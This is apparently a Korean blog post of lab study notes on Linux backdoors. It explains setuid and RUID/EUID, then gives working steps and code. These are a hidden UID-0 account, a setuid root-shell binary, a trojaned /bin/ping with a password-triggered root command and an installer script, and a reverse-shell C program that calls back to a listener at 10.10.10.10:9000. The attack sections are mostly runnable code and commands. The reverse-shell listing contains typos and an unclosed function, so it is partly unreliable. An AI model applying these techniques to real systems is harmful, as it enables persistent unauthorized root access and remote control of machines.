리눅스 백도어
- 관리자 계정 생성
useradd
> -o : 중복되는 uid를 사용
> uid를 0 으로 설정함으로써 관리자계정으로 만듬
useradd -o -u 0 back
- 퍼미션 허가
> test 계정은 일반 계정이기 때문에 shadow파일을 보지 못한다.
[root@a23-0-0-100 ~]# su test
[test@a23-0-0-100 root]$ id
uid=500(test) gid=500(test) groups=500(test)
[test@a23-0-0-100 root]$ cat /etc/shadow
cat: /etc/shadow: 허가 거부
> 실행하는 동안 파일의 소유자가 되는 SetUID가 설정되어 있어 test계정으로 자신의 비밀번호를 변경할 수 있다.
> 다른 계정의 비밀번호는 변경 불가능
[test@a23-0-0-100 root]$ ls -l /usr/bin/passwd
-rwsr-xr-x. 1 root root 30768 2012-02-22 20:48 /usr/bin/passwd
RUID
> root 사용자인지 일반사용자의 권한 상승인지를 확인
EUID
> 접근허가를 EUID를 사용
gcc rpm으로 받기
[root@a23-0-0-100 바탕화면]# ls
cloog-ppl-0.15.7-1.2.el6.x86_64.rpm gcc-4.4.7-16.el6.x86_64.rpm mpfr-2.4.1-6.el6.x86_64.rpm
cpp-4.4.7-16.el6.x86_64.rpm ppl-0.10.2-11.el6.x86_64.rpm
vim getuid.c 에다가 아래 내용 작성
#include<stdio.h>
int main()
{
int ruid, euid;
ruid = getuid(); <- 현재 실행중인 프로그램의 ruid를 읽어오는 함수
euid = geteuid(); <- 현재 실행중인 프로그램의 euid를 읽어오는 함수
printf("RUID : %d\n", ruid);
printf("EUID : %d\n", euid);
return 0;
}
실행파일 만들기
> -o : output
[root@a23-0-0-100 ~]# gcc -o getuid(실행할 프로그램) getuid.c (사용할 소스코드)
[root@a23-0-0-100 ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@a23-0-0-100 ~]# ./getuid
RUID : 0
EUID : 0
[root@a23-0-0-100 ~]#
- test계정으로 했을 때 허가 거부가 떠서 test계정으로도 할 수 있게 tmp디렉터리로 이동 후 다시 실행
[root@a23-0-0-100 ~]# su test
[test@a23-0-0-100 root]$ id
uid=500(test) gid=500(test) groups=500(test)
[test@a23-0-0-100 root]$ ./getuid
bash: ./getuid: 허가 거부
[test@a23-0-0-100 root]$
↓↓↓↓
[root@a23-0-0-100 ~]# mv getuid /tmp (test계정으로 실행 할 수 있도록 옮김)
[root@a23-0-0-100 ~]# su test
[test@a23-0-0-100 root]$ /tmp/getuid
RUID : 500
EUID : 500
[test@a23-0-0-100 root]$
setuid 설정
[root@a23-0-0-100 ~]# ls -l /tmp/getuid
-rwxr-xr-x 1 root root 6749 2022-09-26 20:17 /tmp/getuid
[root@a23-0-0-100 ~]# chmod 4755 /tmp/getuid
[root@a23-0-0-100 ~]# ls -l /tmp/getuid
-rwsr-xr-x 1 root root 6749 2022-09-26 20:17 /tmp/getuid
[root@a23-0-0-100 ~]#
[root@a23-0-0-100 ~]# /tmp/getuid
RUID : 0
EUID : 0
> SETUID를 설정하면 EUID가 변경된 것을 알 수 있다.
[root@a23-0-0-100 ~]# su test
[test@a23-0-0-100 root]$ /tmp/getuid
RUID : 500 <---- ruid는 변하지 않는다.
EUID : 0 <---- 현재 파일의 소유주인 root 권한인 0번이 온다.
[test@a23-0-0-100 root]$
> EUID만 변경되므로 root 사용자인지 일반사용자의 권한 상승인지를 확인하려면 RUID값이 필요하다.
[root@a23-0-0-100 ~]# vim getuid_root.c 안에 아래 내용 작성
#include<stdio.h>
int main(int argc, char **argv)
{
int ruid, euid;
ruid = getuid();
euid = geteuid();
if(argc > 1 && ruid !=0){
printf("%s: root로만 사용자 이름을 지정할 수 있습니다.\n", argv[0]);
return -1;
}
printf("프로그램 실행\n");
return 0;
}
- gcc 컴파일 실행
[root@a23-0-0-100 ~]# gcc -o getuid_root getuid_root.c
[root@a23-0-0-100 ~]# mv getuid_root /tmp//
[root@a23-0-0-100 ~]# /tmp/getuid_root
프로그램 실행
[root@a23-0-0-100 ~]# /tmp/getuid_root id
프로그램 실행
[root@a23-0-0-100 ~]# su test
[test@a23-0-0-100 root]$ /tmp/getuid_root
프로그램 실행
[test@a23-0-0-100 root]$ /tmp/getuid_root id
/tmp/getuid_root: root로만 사용자 이름을 지정할 수 있습니다.
[test@a23-0-0-100 root]$
[root@a23-0-0-100 ~]# vim getuid.c 안에 touch 내용 추가하고 저장
#include <stdio.h>
int main()
{
int ruid, euid;
ruid = getuid();
euid = geteuid();
printf("RUID : %d\n", ruid);
printf("EUID : %d\n", euid);
system("touch /tmp/touch_test");
return 0;
}
- gcc 컴파일 실행
[root@a23-0-0-100 ~]# gcc -o /tmp/getuid_touch getuid.c
> 바로 touch_test 확인하면 안뜬다
[root@a23-0-0-100 ~]# ls -l /tmp/touch_test
ls: cannot access /tmp/touch_test: 그런 파일이나 디렉터리가 없습니다
getuid_touch 실행후 다시 ls -l 로 확인하면 touch_test 파일이 뜬다
[root@a23-0-0-100 ~]# /tmp/getuid_touch
RUID : 0
EUID : 0
[root@a23-0-0-100 ~]# ls -l /tmp/touch_test
-rw-r--r-- 1 root root 0 2022-09-26 21:05 /tmp/touch_test
[root@a23-0-0-100 ~]#
> touch_test 삭제 후 test계정으로 전환 하고 다시 해보면 500 으로 뜬다.
[root@a23-0-0-100 ~]# su test
[test@a23-0-0-100 root]$ /tmp/getuid_touch
RUID : 500
EUID : 500
[test@a23-0-0-100 root]$ ls -l /tmp/touch_test
-rw-rw-r-- 1 test test 0 2022-09-26 21:06 /tmp/touch_test
[test@a23-0-0-100 root]$
> 다시 root계정으로 전환 후 SetUID 퍼미션 설정
[root@a23-0-0-100 ~]# chmod 4755 /tmp/getuid_touch
> 다시 test계정으로 전환
[root@a23-0-0-100 ~]# su test
[test@a23-0-0-100 root]$ ls -l /tmp/getuid_touch
-rwsr-xr-x 1 root root 6913 2022-09-26 20:49 /tmp/getuid_touch
[test@a23-0-0-100 root]$ /tmp/getuid_touch
RUID : 500
EUID : 0
[test@a23-0-0-100 root]$
> 프로그램 안에서 다른 프로그램을 실행 할 때는 RUID가 적용됨
[test@a23-0-0-100 root]$ /tmp/getuid_touch
RUID : 500
EUID : 0
[test@a23-0-0-100 root]$ ls -l /tmp/touch_test
-rw-rw-r-- 1 test test 0 2022-09-26 21:09 /tmp/touch_test
[test@a23-0-0-100 root]$
> 실행중인 프로그램의 RUID를 변경할 수 있다.
> RUID 변경을 위한 함수는 관리자권한(root권한)으로만 실행
> 함수를 실행할 때 적용되는 UID는 EUID가 적용
root 소유주의 파일에 SetUID 퍼미션 -> EUID(0) -> RUID 변경 함수 -> RUID(0) -> 프로그램 실행(root권한)
[root@a23-0-0-100 ~]# vim getuid.c 안에 setuid(0); setgid(0); 추가
#include <stdio.h>
int main()
{
int ruid, euid;
ruid = getuid();
euid = geteuid();
printf("RUID : %d\n", ruid);
printf("EUID : %d\n", euid);
setuid(0);
setgid(0);
system("touch /tmp/touch_test");
return 0;
}
[root@a23-0-0-100 ~]# gcc -o /tmp/getuid_touch2 getuid.c
[root@a23-0-0-100 ~]# chmod 4755 /tmp/getuid_touch2
[root@a23-0-0-100 ~]# su test
[test@a23-0-0-100 root]$ ls -l /tmp/getuid_touch2
-rwsr-xr-x 1 root root 7193 2022-09-26 21:18 /tmp/getuid_touch2
[test@a23-0-0-100 root]$
[test@a23-0-0-100 root]$ ls -l /tmp/touch_test
ls: cannot access /tmp/touch_test: 그런 파일이나 디렉터리가 없습니다
[test@a23-0-0-100 root]$ id
uid=500(test) gid=500(test) groups=500(test)
[test@a23-0-0-100 root]$ /tmp/getuid_touch2
RUID : 500
EUID : 0
[test@a23-0-0-100 root]$ ls -l /tmp/touch_test
-rw-rw-r-- 1 root root 0 2022-09-26 21:20 /tmp/touch_test
backdoor 만들기
[root@a23-0-0-100 tmp]# vim backdoor.c 안에 아래내용 작성
#include <stdio.h>
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
- gcc 컴파일 실행
[root@a23-0-0-100 tmp]# gcc -o backdoor backdoor.c
[root@a23-0-0-100 tmp]# chmod 4755 backdoor
[root@a23-0-0-100 tmp]# ls -l backdoor
-rwsr-xr-x 1 root root 6702 2022-09-26 21:31 backdoor
> 설정 한 후 해커 피씨에서 ssh로 test 계정으로 접속 후 /tmp/backdoor 명령어 치면
자동으로 root계정으로 변경된다.
악의적인 SetUID 프로그램 작성
- 가짜 ping 만들기
ping의 진짜 가짜 판별은 용량으로 구분을 한다.
원래 ping 의 용량은 38200이다.
[root@a23-0-0-100 ~]# ls -l /bin/ping
-rwsr-xr-x. 1 root root 38200 2015-07-24 02:55 /bin/ping
-실행파일 만들어준다
[root@a23-0-0-100 tmp]# vim fake_ping.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main (int argc, char **argv)
{
char input_cmd[100];
int i;
setuid(0);
if(!strcmp(argv[1],"kh"))
{
system(argv[2]);
exit(0);
}
memset (input_cmd,0,20);
strcat (input_cmd,".");
for(i=0; i<argc; i++){
strcat(input_cmd,argv[i]);
strcat(input_cmd," ");
}
system(input_cmd);
}
- 스크립트 설정파일
[root@a23-0-0-100 tmp]# vim install.sh
#!/bin/sh
if [ -f /bin/.ping ]
then
echo "이미 설치 되어 있습니다."
else
gcc -o fake_ping fake_ping.c || exit
mv /bin/ping /bin/.ping
mv fake_ping /bin/ping
chmod 4755 /bin/ping
fi
[root@a23-0-0-100 ~]# ./install.sh
> 용량이 7241로 변했다.
[root@a23-0-0-100 ~]# ls -l /bin/ping
-rwsr-xr-x 1 root root 7241 2022-09-26 23:22 /bin/ping
해커PC에서 ssh로 test계정 접속 후 ping 을 보내면 진짜 핑이 보내지고
ping kh(fake_ping.c 파일에서 지정한 비번) /bin/bash로 명령어 실행하면 root 계정으로 변경된다.
- 다시 원래 ping파일로 돌려놓기
[root@a23-0-0-100 ~]# mv /bin/.ping /bin/ping
mv: overwrite `/bin/ping'? y
[root@a23-0-0-100 ~]# ls -l /bin/ping
-rwsr-xr-x. 1 root root 38200 2015-07-24 02:55 /bin/ping
배포- 프로그램에서 아래 파일 받고
netcat-1.11
해커피씨에서 netcat-1.11 파일 경로로 이동 후
nc 23.0.0.100(ip주소) 69(포트번호)
명령어 입력하면 끝
id나 ifconfig를 치면 해당 ip에 대해 정보가 뜬다.
[root@a23-0-0-100 ~]# vim reverse_shell.c 안에 아래 내용 작성
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
int main(int argc, char* argv[])
{
struct sockaddr_in server_addr;
int server_sock;
int client_len;
char buf[80];
char rbuf[80];
char *cmd[2] = {"/bin/bash", (char *)0};
server_sock = socket(AF_INET, SOCK_STREAM, 6);
server addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = inet_addr("10.10.10.10");
server_addr.sin_port = htons(atoi("9000"));
client_len = sizeof(server_addr);
connect(server_sock, (struct sockaddr *)&server_addr, clinet_len);
dup2(server_sock, 0);
dup2(server_sock, 1);
dup2(server_sock, 2);
execve("/bin/bash", cmd, 0);
return 0;
- gcc 컴파일 실행
[root@localhost ~]# gcc -o reverse_shell reverse_shell.c
- 해커피씨에서 cmd창을 이용하여 netcat파일경로로 이동 C:\Documents and Settings\test\바탕 화면\netcat-1.11
-이동 한 경로에 nc -l -p 9000 명령어 입력후 다른 cmd 창에서 netstat -ano로 확인하면 9000번 포트가 실행 되어 있는걸 확인 가능
- 리눅스에서 ./reverse.shell 실행 후 해커 피씨 nc 실행 되어있는 cmd창에 id 나 ls등 명령어 입력하면 그에 대한 정보가 뜸
리눅스 백도어
2023. 1. 1. 19:11